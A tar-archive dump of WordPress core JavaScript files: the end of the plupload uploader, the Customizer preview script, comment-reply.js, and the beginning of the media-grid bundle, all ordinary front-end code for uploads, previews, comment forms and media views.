I.FormData,F.each(F.extend(n,r.settings.multipart_params),function(e,t){i.append(t,e)}),i.append(r.settings.file_data_name,e),p.send(i,{runtime_order:r.settings.runtimes,required_caps:r.settings.required_features,preferred_caps:h})):(o=F.buildUrl(r.settings.url,F.extend(n,r.settings.multipart_params)),p.open("post",o,!0),p.setRequestHeader("Content-Type","application/octet-stream"),F.each(r.settings.headers,function(e,t){p.setRequestHeader(t,e)}),p.send(e,{runtime_order:r.settings.runtimes,required_caps:r.settings.required_features,preferred_caps:h})))}s.loaded&&(c=s.loaded=u?u*Math.floor(s.loaded/u):0),a=s.getSource(),r.settings.resize.enabled&&function(e,t){if(e.ruid){e=I.Runtime.getInfo(e.ruid);if(e)return e.can(t)}}(a,"send_binary_string")&&~I.inArray(a.type,["image/jpeg","image/png"])?function(t,e,i){var n=new I.Image;try{n.onload=function(){if(e.width>this.width&&e.height>this.height&&e.quality===S&&e.preserve_headers&&!e.crop)return this.destroy(),i(t);n.downsize(e.width,e.height,e.crop,e.preserve_headers)},n.onresize=function(){i(this.getAsBlob(t.type,e.quality)),this.destroy()},n.onerror=function(){i(t)},n.load(t)}catch(e){i(t)}}.call(this,a,r.settings.resize,function(e){a=e,s.size=e.size,g()}):g()}function R(e,t){s(t)}function E(e){if(e.state==F.STARTED)i=+new Date;else if(e.state==F.STOPPED)for(var t=e.files.length-1;0<=t;t--)e.files[t].status==F.UPLOADING&&(e.files[t].status=F.QUEUED,a())}function y(){p&&p.abort()}function v(e){a(),T(function(){r.call(e)},1)}function z(e,t){t.code===F.INIT_ERROR?e.destroy():t.code===F.HTTP_ERROR&&(t.file.status=F.FAILED,s(t.file),e.state==F.STARTED)&&(e.trigger("CancelUpload"),T(function(){r.call(e)},1))}function O(e){e.stop(),F.each(l,function(e){e.destroy()}),l=[],o.length&&(F.each(o,function(e){e.destroy()}),o=[]),d.length&&(F.each(d,function(e){e.destroy()}),d=[]),c=!(h={}),i=p=null,n.reset()}u={runtimes:I.Runtime.order,max_retries:0,chunk_size:0,multipart:!0,multi_selection:!0,file_data_name:"file",filters:{mime_types:[],prevent_duplicates:!1,max_file_size:0},resize:{enabled:!1,preserve_headers:!0,crop:!1},send_file_name:!0,send_chunk_number:!0},_.call(this,e,null,!0),n=new F.QueueProgress,F.extend(this,{id:t,uid:t,state:F.STOPPED,features:{},runtime:null,files:l,settings:u,total:n,init:function(){var t,i=this,e=i.getOption("preinit");return"function"==typeof e?e(i):F.each(e,function(e,t){i.bind(t,e)}),function(){this.bind("FilesAdded FilesRemoved",function(e){e.trigger("QueueChanged"),e.refresh()}),this.bind("CancelUpload",y),this.bind("BeforeUpload",m),this.bind("UploadFile",b),this.bind("UploadProgress",R),this.bind("StateChanged",E),this.bind("QueueChanged",a),this.bind("Error",z),this.bind("FileUploaded",v),this.bind("Destroy",O)}.call(i),F.each(["container","browse_button","drop_element"],function(e){if(null===i.getOption(e))return!(t={code:F.INIT_ERROR,message:F.translate("'%' specified, but cannot be found.")})}),t?i.trigger("Error",t):u.browse_button||u.drop_element?void g.call(i,u,function(e){var t=i.getOption("init");"function"==typeof t?t(i):F.each(t,function(e,t){i.bind(t,e)}),e?(i.runtime=I.Runtime.getInfo(f()).type,i.trigger("Init",{runtime:i.runtime}),i.trigger("PostInit")):i.trigger("Error",{code:F.INIT_ERROR,message:F.translate("Init error.")})}):i.trigger("Error",{code:F.INIT_ERROR,message:F.translate("You must specify either 'browse_button' or 'drop_element'.")})},setOption:function(e,t){_.call(this,e,t,!this.runtime)},getOption:function(e){return e?u[e]:u},refresh:function(){o.length&&F.each(o,function(e){e.trigger("Refresh")}),this.trigger("Refresh")},start:function(){this.state!=F.STARTED&&(this.state=F.STARTED,this.trigger("StateChanged"),r.call(this))},stop:function(){this.state!=F.STOPPED&&(this.state=F.STOPPED,this.trigger("StateChanged"),this.trigger("CancelUpload"))},disableBrowse:function(){c=arguments[0]===S||arguments[0],o.length&&F.each(o,function(e){e.disable(c)}),this.trigger("DisableBrowse",c)},getFile:function(e){for(var t=l.length-1;0<=t;t--)if(l[t].id===e)return l[t]},addFile:function(e,n){var r,s=this,a=[],o=[];r=f(),function e(i){var t=I.typeOf(i);if(i instanceof I.File){if(!i.ruid&&!i.isDetached()){if(!r)return!1;i.ruid=r,i.connectRuntime(r)}e(new F.File(i))}else i instanceof I.Blob?(e(i.getSource()),i.destroy()):i instanceof F.File?(n&&(i.name=n),a.push(function(t){var n,e,r;n=i,e=function(e){e||(l.push(i),o.push(i),s.trigger("FileFiltered",i)),T(t,1)},r=[],I.each(s.settings.filters,function(e,i){D[i]&&r.push(function(t){D[i].call(s,e,n,function(e){t(!e)})})}),I.inSeries(r,e)})):-1!==I.inArray(t,["file","blob"])?e(new I.File(null,i)):"node"===t&&"filelist"===I.typeOf(i.files)?I.each(i.files,e):"array"===t&&(n=null,I.each(i,e))}(e),a.length&&I.inSeries(a,function(){o.length&&s.trigger("FilesAdded",o)})},removeFile:function(e){for(var t="string"==typeof e?e:e.id,i=l.length-1;0<=i;i--)if(l[i].id===t)return this.splice(i,1)[0]},splice:function(e,t){var e=l.splice(e===S?0:e,t===S?l.length:t),i=!1;return this.state==F.STARTED&&(F.each(e,function(e){if(e.status===F.UPLOADING)return!(i=!0)}),i)&&this.stop(),this.trigger("FilesRemoved",e),F.each(e,function(e){e.destroy()}),i&&this.start(),e},dispatchEvent:function(e){var t,i;if(e=e.toLowerCase(),t=this.hasEventListener(e)){t.sort(function(e,t){return t.priority-e.priority}),(i=[].slice.call(arguments)).shift(),i.unshift(this);for(var n=0;n<t.length;n++)if(!1===t[n].fn.apply(t[n].scope,i))return!1}return!0},bind:function(e,t,i,n){F.Uploader.prototype.bind.call(this,e,t,n,i)},destroy:function(){this.trigger("Destroy"),u=n=null,this.unbindAll()}})},F.Uploader.prototype=I.EventTarget.instance,F.File=(t={},function(e){F.extend(this,{id:F.guid(),name:e.name||e.fileName,type:e.type||"",size:e.size||e.fileSize,origSize:e.size||e.fileSize,loaded:0,percent:0,status:F.QUEUED,lastModifiedDate:e.lastModifiedDate||(new Date).toLocaleString(),getNative:function(){var e=this.getSource().getSource();return-1!==I.inArray(I.typeOf(e),["blob","file"])?e:null},getSource:function(){return t[this.id]||null},destroy:function(){var e=this.getSource();e&&(e.destroy(),delete t[this.id])}}),t[this.id]=e}),F.QueueProgress=function(){var e=this;e.size=0,e.loaded=0,e.uploaded=0,e.failed=0,e.queued=0,e.percent=0,e.bytesPerSec=0,e.reset=function(){e.size=e.loaded=e.uploaded=e.failed=e.queued=e.percent=e.bytesPerSec=0}},e.plupload=F}(window,mOxie); customize-preview.min.js 0000644 00000024720 15111757753 0011406 0 ustar 00 /*! This file is auto-generated */ !function(r){var s,i,a,o,c,n,u,l,d,h=wp.customize,p={};(i=history).replaceState&&(c=function(e){var t,n=document.createElement("a");return n.href=e,e=h.utils.parseQueryString(location.search.substr(1)),(t=h.utils.parseQueryString(n.search.substr(1))).customize_changeset_uuid=e.customize_changeset_uuid,e.customize_autosaved&&(t.customize_autosaved="on"),e.customize_theme&&(t.customize_theme=e.customize_theme),e.customize_messenger_channel&&(t.customize_messenger_channel=e.customize_messenger_channel),n.search=r.param(t),n.href},i.replaceState=(a=i.replaceState,function(e,t,n){return p=e,a.call(i,e,t,"string"==typeof n&&0<n.length?c(n):n)}),i.pushState=(o=i.pushState,function(e,t,n){return p=e,o.call(i,e,t,"string"==typeof n&&0<n.length?c(n):n)}),window.addEventListener("popstate",function(e){p=e.state})),s=function(t,n,i){var s;return function(){var e=arguments;i=i||this,clearTimeout(s),s=setTimeout(function(){s=null,t.apply(i,e)},n)}},h.Preview=h.Messenger.extend({initialize:function(e,t){var n=this,i=document.createElement("a");h.Messenger.prototype.initialize.call(n,e,t),i.href=n.origin(),n.add("scheme",i.protocol.replace(/:$/,"")),n.body=r(document.body),n.window=r(window),h.settings.channel&&(n.body.on("click.preview","a",function(e){n.handleLinkClick(e)}),n.body.on("submit.preview","form",function(e){n.handleFormSubmit(e)}),n.window.on("scroll.preview",s(function(){n.send("scroll",n.window.scrollTop())},200)),n.bind("scroll",function(e){n.window.scrollTop(e)}))},handleLinkClick:function(e){var t=r(e.target).closest("a");_.isUndefined(t.attr("href"))||"#"!==t.attr("href").substr(0,1)&&/^https?:$/.test(t.prop("protocol"))&&(h.isLinkPreviewable(t[0])?(e.preventDefault(),e.shiftKey||this.send("url",t.prop("href"))):(wp.a11y.speak(h.settings.l10n.linkUnpreviewable),e.preventDefault()))},handleFormSubmit:function(e){var t=document.createElement("a"),n=r(e.target);t.href=n.prop("action"),"GET"===n.prop("method").toUpperCase()&&h.isLinkPreviewable(t)?e.isDefaultPrevented()||(1<t.search.length&&(t.search+="&"),t.search+=n.serialize(),this.send("url",t.href)):wp.a11y.speak(h.settings.l10n.formUnpreviewable),e.preventDefault()}}),h.addLinkPreviewing=function(){var t="a[href], area[href]";r(document.body).find(t).each(function(){h.prepareLinkPreview(this)}),"undefined"!=typeof MutationObserver?(h.mutationObserver=new MutationObserver(function(e){_.each(e,function(e){r(e.target).find(t).each(function(){h.prepareLinkPreview(this)})})}),h.mutationObserver.observe(document.documentElement,{childList:!0,subtree:!0})):r(document.documentElement).on("click focus mouseover",t,function(){h.prepareLinkPreview(this)})},h.isLinkPreviewable=function(t,e){var n,i,e=_.extend({},{allowAdminAjax:!1},e||{});return"javascript:"===t.protocol||("https:"===t.protocol||"http:"===t.protocol)&&(i=t.host.replace(/:(80|443)$/,""),n=document.createElement("a"),!_.isUndefined(_.find(h.settings.url.allowed,function(e){return n.href=e,n.protocol===t.protocol&&n.host.replace(/:(80|443)$/,"")===i&&0===t.pathname.indexOf(n.pathname.replace(/\/$/,""))})))&&!/\/wp-(login|signup)\.php$/.test(t.pathname)&&(/\/wp-admin\/admin-ajax\.php$/.test(t.pathname)?e.allowAdminAjax:!/\/wp-(admin|includes|content)(\/|$)/.test(t.pathname))},h.prepareLinkPreview=function(e){var t,n=r(e);e.hasAttribute("href")&&!n.closest("#wpadminbar").length&&"#"!==n.attr("href").substr(0,1)&&/^https?:$/.test(e.protocol)&&(h.settings.channel&&"https"===h.preview.scheme.get()&&"http:"===e.protocol&&-1!==h.settings.url.allowedHosts.indexOf(e.host)&&(e.protocol="https:"),n.hasClass("wp-playlist-caption")||(h.isLinkPreviewable(e)?(n.removeClass("customize-unpreviewable"),(t=h.utils.parseQueryString(e.search.substring(1))).customize_changeset_uuid=h.settings.changeset.uuid,h.settings.changeset.autosaved&&(t.customize_autosaved="on"),h.settings.theme.active||(t.customize_theme=h.settings.theme.stylesheet),h.settings.channel&&(t.customize_messenger_channel=h.settings.channel),e.search=r.param(t)):h.settings.channel&&n.addClass("customize-unpreviewable")))},h.addRequestPreviewing=function(){r.ajaxPrefilter(function(e,t,n){var i,s,a={},o=document.createElement("a");o.href=e.url,h.isLinkPreviewable(o,{allowAdminAjax:!0})&&(i=h.utils.parseQueryString(o.search.substring(1)),h.each(function(e){e._dirty&&(a[e.id]=e.get())}),_.isEmpty(a)||("POST"!==(s=e.type.toUpperCase())&&(n.setRequestHeader("X-HTTP-Method-Override",s),i._method=s,e.type="POST"),e.data?e.data+="&":e.data="",e.data+=r.param({customized:JSON.stringify(a)})),i.customize_changeset_uuid=h.settings.changeset.uuid,h.settings.changeset.autosaved&&(i.customize_autosaved="on"),h.settings.theme.active||(i.customize_theme=h.settings.theme.stylesheet),i.customize_preview_nonce=h.settings.nonce.preview,o.search=r.param(i),e.url=o.href)})},h.addFormPreviewing=function(){r(document.body).find("form").each(function(){h.prepareFormPreview(this)}),"undefined"!=typeof MutationObserver&&(h.mutationObserver=new MutationObserver(function(e){_.each(e,function(e){r(e.target).find("form").each(function(){h.prepareFormPreview(this)})})}),h.mutationObserver.observe(document.documentElement,{childList:!0,subtree:!0}))},h.prepareFormPreview=function(i){var e,t={};i.action||(i.action=location.href),(e=document.createElement("a")).href=i.action,h.settings.channel&&"https"===h.preview.scheme.get()&&"http:"===e.protocol&&-1!==h.settings.url.allowedHosts.indexOf(e.host)&&(e.protocol="https:",i.action=e.href),"GET"===i.method.toUpperCase()&&h.isLinkPreviewable(e)?(r(i).removeClass("customize-unpreviewable"),t.customize_changeset_uuid=h.settings.changeset.uuid,h.settings.changeset.autosaved&&(t.customize_autosaved="on"),h.settings.theme.active||(t.customize_theme=h.settings.theme.stylesheet),h.settings.channel&&(t.customize_messenger_channel=h.settings.channel),_.each(t,function(e,t){var n=r(i).find('input[name="'+t+'"]');n.length?n.val(e):r(i).prepend(r("<input>",{type:"hidden",name:t,value:e}))}),h.settings.channel&&(i.target="_self")):h.settings.channel&&r(i).addClass("customize-unpreviewable")},h.keepAliveCurrentUrl=(n=location.pathname,u=location.search.substr(1),l=null,d=["customize_theme","customize_changeset_uuid","customize_messenger_channel","customize_autosaved"],function(){var e,t;u===location.search.substr(1)&&n===location.pathname?h.preview.send("keep-alive"):(e=document.createElement("a"),null===l&&(e.search=u,l=h.utils.parseQueryString(u),_.each(d,function(e){delete l[e]})),e.href=location.href,t=h.utils.parseQueryString(e.search.substr(1)),_.each(d,function(e){delete t[e]}),n===location.pathname&&_.isEqual(l,t)?h.preview.send("keep-alive"):(e.search=r.param(t),e.hash="",h.settings.url.self=e.href,h.preview.send("ready",{currentUrl:h.settings.url.self,activePanels:h.settings.activePanels,activeSections:h.settings.activeSections,activeControls:h.settings.activeControls,settingValidities:h.settings.settingValidities})),l=t,u=location.search.substr(1),n=location.pathname)}),h.settingPreviewHandlers={custom_logo:function(e){r("body").toggleClass("wp-custom-logo",!!e)},custom_css:function(e){r("#wp-custom-css").text(e)},background:function(){var e="",t={};_.each(["color","image","preset","position_x","position_y","size","repeat","attachment"],function(e){t[e]=h("background_"+e)}),r(document.body).toggleClass("custom-background",!(!t.color()&&!t.image())),t.color()&&(e+="background-color: "+t.color()+";"),t.image()&&(e=(e=(e=(e=(e+='background-image: url("'+t.image()+'");')+"background-size: "+t.size()+";")+"background-position: "+t.position_x()+" "+t.position_y()+";")+"background-repeat: "+t.repeat()+";")+"background-attachment: "+t.attachment()+";"),r("#custom-background-css").text("body.custom-background { "+e+" }")}},r(function(){var e,t,n;h.settings=window._wpCustomizeSettings,h.settings&&(h.preview=new h.Preview({url:window.location.href,channel:h.settings.channel}),h.addLinkPreviewing(),h.addRequestPreviewing(),h.addFormPreviewing(),t=function(e,t,n){var i=h(e);i?i.set(t):(n=n||!1,i=h.create(e,t,{id:e}),n&&(i._dirty=!0))},h.preview.bind("settings",function(e){r.each(e,t)}),h.preview.trigger("settings",h.settings.values),r.each(h.settings._dirty,function(e,t){t=h(t);t&&(t._dirty=!0)}),h.preview.bind("setting",function(e){t.apply(null,e.concat(!0))}),h.preview.bind("sync",function(t){t.settings&&t["settings-modified-while-loading"]&&_.each(_.keys(t.settings),function(e){h.has(e)&&!t["settings-modified-while-loading"][e]&&delete t.settings[e]}),r.each(t,function(e,t){h.preview.trigger(e,t)}),h.preview.send("synced")}),h.preview.bind("active",function(){h.preview.send("nonce",h.settings.nonce),h.preview.send("documentTitle",document.title),h.preview.send("scroll",r(window).scrollTop())}),h.preview.bind("changeset-uuid",n=function(e){h.settings.changeset.uuid=e,r(document.body).find("a[href], area[href]").each(function(){h.prepareLinkPreview(this)}),r(document.body).find("form").each(function(){h.prepareFormPreview(this)}),history.replaceState&&history.replaceState(p,"",location.href)}),h.preview.bind("saved",function(e){e.next_changeset_uuid&&n(e.next_changeset_uuid),h.trigger("saved",e)}),h.preview.bind("autosaving",function(){h.settings.changeset.autosaved||(h.settings.changeset.autosaved=!0,r(document.body).find("a[href], area[href]").each(function(){h.prepareLinkPreview(this)}),r(document.body).find("form").each(function(){h.prepareFormPreview(this)}),history.replaceState&&history.replaceState(p,"",location.href))}),h.preview.bind("changeset-saved",function(e){_.each(e.saved_changeset_values,function(e,t){t=h(t);t&&_.isEqual(t.get(),e)&&(t._dirty=!1)})}),h.preview.bind("nonce-refresh",function(e){r.extend(h.settings.nonce,e)}),h.preview.send("ready",{currentUrl:h.settings.url.self,activePanels:h.settings.activePanels,activeSections:h.settings.activeSections,activeControls:h.settings.activeControls,settingValidities:h.settings.settingValidities}),setInterval(h.keepAliveCurrentUrl,h.settings.timeouts.keepAliveSend),h.preview.bind("loading-initiated",function(){r("body").addClass("wp-customizer-unloading")}),h.preview.bind("loading-failed",function(){r("body").removeClass("wp-customizer-unloading")}),e=r.map(["color","image","preset","position_x","position_y","size","repeat","attachment"],function(e){return"background_"+e}),h.when.apply(h,e).done(function(){r.each(arguments,function(){this.bind(h.settingPreviewHandlers.background)})}),h("custom_logo",function(e){h.settingPreviewHandlers.custom_logo.call(e,e.get()),e.bind(h.settingPreviewHandlers.custom_logo)}),h("custom_css["+h.settings.theme.stylesheet+"]",function(e){e.bind(h.settingPreviewHandlers.custom_css)}),h.trigger("preview-ready"))})}((wp,jQuery)); comment-reply.js 0000644 00000030341 15111757753 0007712 0 ustar 00 /** * Handles the addition of the comment form. * * @since 2.7.0 * @output wp-includes/js/comment-reply.js * * @namespace addComment * * @type {Object} */ window.addComment = ( function( window ) { // Avoid scope lookups on commonly used variables. var document = window.document; // Settings. var config = { commentReplyClass : 'comment-reply-link', commentReplyTitleId : 'reply-title', cancelReplyId : 'cancel-comment-reply-link', commentFormId : 'commentform', temporaryFormId : 'wp-temp-form-div', parentIdFieldId : 'comment_parent', postIdFieldId : 'comment_post_ID' }; // Cross browser MutationObserver. var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver; // Check browser cuts the mustard. var cutsTheMustard = 'querySelector' in document && 'addEventListener' in window; /* * Check browser supports dataset. * !! sets the variable to true if the property exists. */ var supportsDataset = !! document.documentElement.dataset; // For holding the cancel element. var cancelElement; // For holding the comment form element. var commentFormElement; // The respond element. var respondElement; // The mutation observer. var observer; if ( cutsTheMustard && document.readyState !== 'loading' ) { ready(); } else if ( cutsTheMustard ) { window.addEventListener( 'DOMContentLoaded', ready, false ); } /** * Sets up object variables after the DOM is ready. * * @since 5.1.1 */ function ready() { // Initialize the events. init(); // Set up a MutationObserver to check for comments loaded late. observeChanges(); } /** * Add events to links classed .comment-reply-link. * * Searches the context for reply links and adds the JavaScript events * required to move the comment form. To allow for lazy loading of * comments this method is exposed as window.commentReply.init(). * * @since 5.1.0 * * @memberOf addComment * * @param {HTMLElement} context The parent DOM element to search for links. */ function init( context ) { if ( ! cutsTheMustard ) { return; } // Get required elements. cancelElement = getElementById( config.cancelReplyId ); commentFormElement = getElementById( config.commentFormId ); // No cancel element, no replies. if ( ! cancelElement ) { return; } cancelElement.addEventListener( 'touchstart', cancelEvent ); cancelElement.addEventListener( 'click', cancelEvent ); // Submit the comment form when the user types [Ctrl] or [Cmd] + [Enter]. var submitFormHandler = function( e ) { if ( ( e.metaKey || e.ctrlKey ) && e.keyCode === 13 && document.activeElement.tagName.toLowerCase() !== 'a' ) { commentFormElement.removeEventListener( 'keydown', submitFormHandler ); e.preventDefault(); // The submit button ID is 'submit' so we can't call commentFormElement.submit(). Click it instead. commentFormElement.submit.click(); return false; } }; if ( commentFormElement ) { commentFormElement.addEventListener( 'keydown', submitFormHandler ); } var links = replyLinks( context ); var element; for ( var i = 0, l = links.length; i < l; i++ ) { element = links[i]; element.addEventListener( 'touchstart', clickEvent ); element.addEventListener( 'click', clickEvent ); } } /** * Return all links classed .comment-reply-link. * * @since 5.1.0 * * @param {HTMLElement} context The parent DOM element to search for links. * * @return {HTMLCollection|NodeList|Array} */ function replyLinks( context ) { var selectorClass = config.commentReplyClass; var allReplyLinks; // childNodes is a handy check to ensure the context is a HTMLElement. if ( ! context || ! context.childNodes ) { context = document; } if ( document.getElementsByClassName ) { // Fastest. allReplyLinks = context.getElementsByClassName( selectorClass ); } else { // Fast. allReplyLinks = context.querySelectorAll( '.' + selectorClass ); } return allReplyLinks; } /** * Cancel event handler. * * @since 5.1.0 * * @param {Event} event The calling event. */ function cancelEvent( event ) { var cancelLink = this; var temporaryFormId = config.temporaryFormId; var temporaryElement = getElementById( temporaryFormId ); if ( ! temporaryElement || ! respondElement ) { // Conditions for cancel link fail. return; } getElementById( config.parentIdFieldId ).value = '0'; // Move the respond form back in place of the temporary element. var headingText = temporaryElement.textContent; temporaryElement.parentNode.replaceChild( respondElement, temporaryElement ); cancelLink.style.display = 'none'; var replyHeadingElement = getElementById( config.commentReplyTitleId ); var replyHeadingTextNode = replyHeadingElement && replyHeadingElement.firstChild; var replyLinkToParent = replyHeadingTextNode && replyHeadingTextNode.nextSibling; if ( replyHeadingTextNode && replyHeadingTextNode.nodeType === Node.TEXT_NODE && headingText ) { if ( replyLinkToParent && 'A' === replyLinkToParent.nodeName && replyLinkToParent.id !== config.cancelReplyId ) { replyLinkToParent.style.display = ''; } replyHeadingTextNode.textContent = headingText; } event.preventDefault(); } /** * Click event handler. * * @since 5.1.0 * * @param {Event} event The calling event. */ function clickEvent( event ) { var replyNode = getElementById( config.commentReplyTitleId ); var defaultReplyHeading = replyNode && replyNode.firstChild.textContent; var replyLink = this, commId = getDataAttribute( replyLink, 'belowelement' ), parentId = getDataAttribute( replyLink, 'commentid' ), respondId = getDataAttribute( replyLink, 'respondelement' ), postId = getDataAttribute( replyLink, 'postid' ), replyTo = getDataAttribute( replyLink, 'replyto' ) || defaultReplyHeading, follow; if ( ! commId || ! parentId || ! respondId || ! postId ) { /* * Theme or plugin defines own link via custom `wp_list_comments()` callback * and calls `moveForm()` either directly or via a custom event hook. */ return; } /* * Third party comments systems can hook into this function via the global scope, * therefore the click event needs to reference the global scope. */ follow = window.addComment.moveForm( commId, parentId, respondId, postId, replyTo ); if ( false === follow ) { event.preventDefault(); } } /** * Creates a mutation observer to check for newly inserted comments. * * @since 5.1.0 */ function observeChanges() { if ( ! MutationObserver ) { return; } var observerOptions = { childList: true, subtree: true }; observer = new MutationObserver( handleChanges ); observer.observe( document.body, observerOptions ); } /** * Handles DOM changes, calling init() if any new nodes are added. * * @since 5.1.0 * * @param {Array} mutationRecords Array of MutationRecord objects. */ function handleChanges( mutationRecords ) { var i = mutationRecords.length; while ( i-- ) { // Call init() once if any record in this set adds nodes. if ( mutationRecords[ i ].addedNodes.length ) { init(); return; } } } /** * Backward compatible getter of data-* attribute. * * Uses element.dataset if it exists, otherwise uses getAttribute. * * @since 5.1.0 * * @param {HTMLElement} Element DOM element with the attribute. * @param {string} Attribute the attribute to get. * * @return {string} */ function getDataAttribute( element, attribute ) { if ( supportsDataset ) { return element.dataset[attribute]; } else { return element.getAttribute( 'data-' + attribute ); } } /** * Get element by ID. * * Local alias for document.getElementById. * * @since 5.1.0 * * @param {HTMLElement} The requested element. */ function getElementById( elementId ) { return document.getElementById( elementId ); } /** * Moves the reply form from its current position to the reply location. * * @since 2.7.0 * * @memberOf addComment * * @param {string} addBelowId HTML ID of element the form follows. * @param {string} commentId Database ID of comment being replied to. * @param {string} respondId HTML ID of 'respond' element. * @param {string} postId Database ID of the post. * @param {string} replyTo Form heading content. */ function moveForm( addBelowId, commentId, respondId, postId, replyTo ) { // Get elements based on their IDs. var addBelowElement = getElementById( addBelowId ); respondElement = getElementById( respondId ); // Get the hidden fields. var parentIdField = getElementById( config.parentIdFieldId ); var postIdField = getElementById( config.postIdFieldId ); var element, cssHidden, style; var replyHeading = getElementById( config.commentReplyTitleId ); var replyHeadingTextNode = replyHeading && replyHeading.firstChild; var replyLinkToParent = replyHeadingTextNode && replyHeadingTextNode.nextSibling; if ( ! addBelowElement || ! respondElement || ! parentIdField ) { // Missing key elements, fail. return; } if ( 'undefined' === typeof replyTo ) { replyTo = replyHeadingTextNode && replyHeadingTextNode.textContent; } addPlaceHolder( respondElement ); // Set the value of the post. if ( postId && postIdField ) { postIdField.value = postId; } parentIdField.value = commentId; cancelElement.style.display = ''; addBelowElement.parentNode.insertBefore( respondElement, addBelowElement.nextSibling ); if ( replyHeadingTextNode && replyHeadingTextNode.nodeType === Node.TEXT_NODE ) { if ( replyLinkToParent && 'A' === replyLinkToParent.nodeName && replyLinkToParent.id !== config.cancelReplyId ) { replyLinkToParent.style.display = 'none'; } replyHeadingTextNode.textContent = replyTo; } /* * This is for backward compatibility with third party commenting systems * hooking into the event using older techniques. */ cancelElement.onclick = function() { return false; }; // Focus on the first field in the comment form. try { for ( var i = 0; i < commentFormElement.elements.length; i++ ) { element = commentFormElement.elements[i]; cssHidden = false; // Get elements computed style. if ( 'getComputedStyle' in window ) { // Modern browsers. style = window.getComputedStyle( element ); } else if ( document.documentElement.currentStyle ) { // IE 8. style = element.currentStyle; } /* * For display none, do the same thing jQuery does. For visibility, * check the element computed style since browsers are already doing * the job for us. In fact, the visibility computed style is the actual * computed value and already takes into account the element ancestors. */ if ( ( element.offsetWidth <= 0 && element.offsetHeight <= 0 ) || style.visibility === 'hidden' ) { cssHidden = true; } // Skip form elements that are hidden or disabled. if ( 'hidden' === element.type || element.disabled || cssHidden ) { continue; } element.focus(); // Stop after the first focusable element. break; } } catch(e) { } /* * false is returned for backward compatibility with third party commenting systems * hooking into this function. */ return false; } /** * Add placeholder element. * * Places a place holder element above the #respond element for * the form to be returned to if needs be. * * @since 2.7.0 * * @param {HTMLelement} respondElement the #respond element holding comment form. */ function addPlaceHolder( respondElement ) { var temporaryFormId = config.temporaryFormId; var temporaryElement = getElementById( temporaryFormId ); var replyElement = getElementById( config.commentReplyTitleId ); var initialHeadingText = replyElement ? replyElement.firstChild.textContent : ''; if ( temporaryElement ) { // The element already exists, no need to recreate. return; } temporaryElement = document.createElement( 'div' ); temporaryElement.id = temporaryFormId; temporaryElement.style.display = 'none'; temporaryElement.textContent = initialHeadingText; respondElement.parentNode.insertBefore( temporaryElement, respondElement ); } return { init: init, moveForm: moveForm }; })( window ); media-grid.js 0000644 00000064033 15111757753 0007126 0 ustar 00 /******/ (() => { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ 659: /***/ ((module) => { var l10n = wp.media.view.l10n, EditAttachmentMetadata; /** * wp.media.controller.EditAttachmentMetadata * * A state for editing an attachment's metadata. * * @memberOf wp.media.controller * * @class * @augments wp.media.controller.State * @augments Backbone.Model */ EditAttachmentMetadata = wp.media.controller.State.extend(/** @lends wp.media.controller.EditAttachmentMetadata.prototype */{ defaults: { id: 'edit-attachment', // Title string passed to the frame's title region view. title: l10n.attachmentDetails, // Region mode defaults. content: 'edit-metadata', menu: false, toolbar: false, router: false } }); module.exports = EditAttachmentMetadata; /***/ }), /***/ 682: /***/ ((module) => { var Button = wp.media.view.Button, l10n = wp.media.view.l10n, SelectModeToggle; /** * wp.media.view.SelectModeToggleButton * * @memberOf wp.media.view * * @class * @augments wp.media.view.Button * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ SelectModeToggle = Button.extend(/** @lends wp.media.view.SelectModeToggle.prototype */{ initialize: function() { _.defaults( this.options, { size : '' } ); Button.prototype.initialize.apply( this, arguments ); this.controller.on( 'select:activate select:deactivate', this.toggleBulkEditHandler, this ); this.controller.on( 'selection:action:done', this.back, this ); }, back: function () { this.controller.deactivateMode( 'select' ).activateMode( 'edit' ); }, click: function() { Button.prototype.click.apply( this, arguments ); if ( this.controller.isModeActive( 'select' ) ) { this.back(); } else { this.controller.deactivateMode( 'edit' ).activateMode( 'select' ); } }, render: function() { Button.prototype.render.apply( this, arguments ); this.$el.addClass( 'select-mode-toggle-button' ); return this; }, toggleBulkEditHandler: function() { var toolbar = this.controller.content.get().toolbar, children; children = toolbar.$( '.media-toolbar-secondary > *, .media-toolbar-primary > *' ); // @todo The Frame should be doing all of this. if ( this.controller.isModeActive( 'select' ) ) { this.model.set( { size: 'large', text: l10n.cancel } ); children.not( '.spinner, .media-button' ).hide(); this.$el.show(); toolbar.$el.addClass( 'media-toolbar-mode-select' ); toolbar.$( '.delete-selected-button' ).removeClass( 'hidden' ); } else { this.model.set( { size: '', text: l10n.bulkSelect } ); this.controller.content.get().$el.removeClass( 'fixed' ); toolbar.$el.css( 'width', '' ); toolbar.$el.removeClass( 'media-toolbar-mode-select' ); toolbar.$( '.delete-selected-button' ).addClass( 'hidden' ); children.not( '.media-button' ).show(); this.controller.state().get( 'selection' ).reset(); } } }); module.exports = SelectModeToggle; /***/ }), /***/ 1003: /***/ ((module) => { var Frame = wp.media.view.Frame, MediaFrame = wp.media.view.MediaFrame, $ = jQuery, EditAttachments; /** * wp.media.view.MediaFrame.EditAttachments * * A frame for editing the details of a specific media item. * * Opens in a modal by default. * * Requires an attachment model to be passed in the options hash under `model`. * * @memberOf wp.media.view.MediaFrame * * @class * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ EditAttachments = MediaFrame.extend(/** @lends wp.media.view.MediaFrame.EditAttachments.prototype */{ className: 'edit-attachment-frame', template: wp.template( 'edit-attachment-frame' ), regions: [ 'title', 'content' ], events: { 'click .left': 'previousMediaItem', 'click .right': 'nextMediaItem' }, initialize: function() { Frame.prototype.initialize.apply( this, arguments ); _.defaults( this.options, { modal: true, state: 'edit-attachment' }); this.controller = this.options.controller; this.gridRouter = this.controller.gridRouter; this.library = this.options.library; if ( this.options.model ) { this.model = this.options.model; } this.bindHandlers(); this.createStates(); this.createModal(); this.title.mode( 'default' ); this.toggleNav(); }, bindHandlers: function() { // Bind default title creation. this.on( 'title:create:default', this.createTitle, this ); this.on( 'content:create:edit-metadata', this.editMetadataMode, this ); this.on( 'content:create:edit-image', this.editImageMode, this ); this.on( 'content:render:edit-image', this.editImageModeRender, this ); this.on( 'refresh', this.rerender, this ); this.on( 'close', this.detach ); this.bindModelHandlers(); this.listenTo( this.gridRouter, 'route:search', this.close, this ); }, bindModelHandlers: function() { // Close the modal if the attachment is deleted. 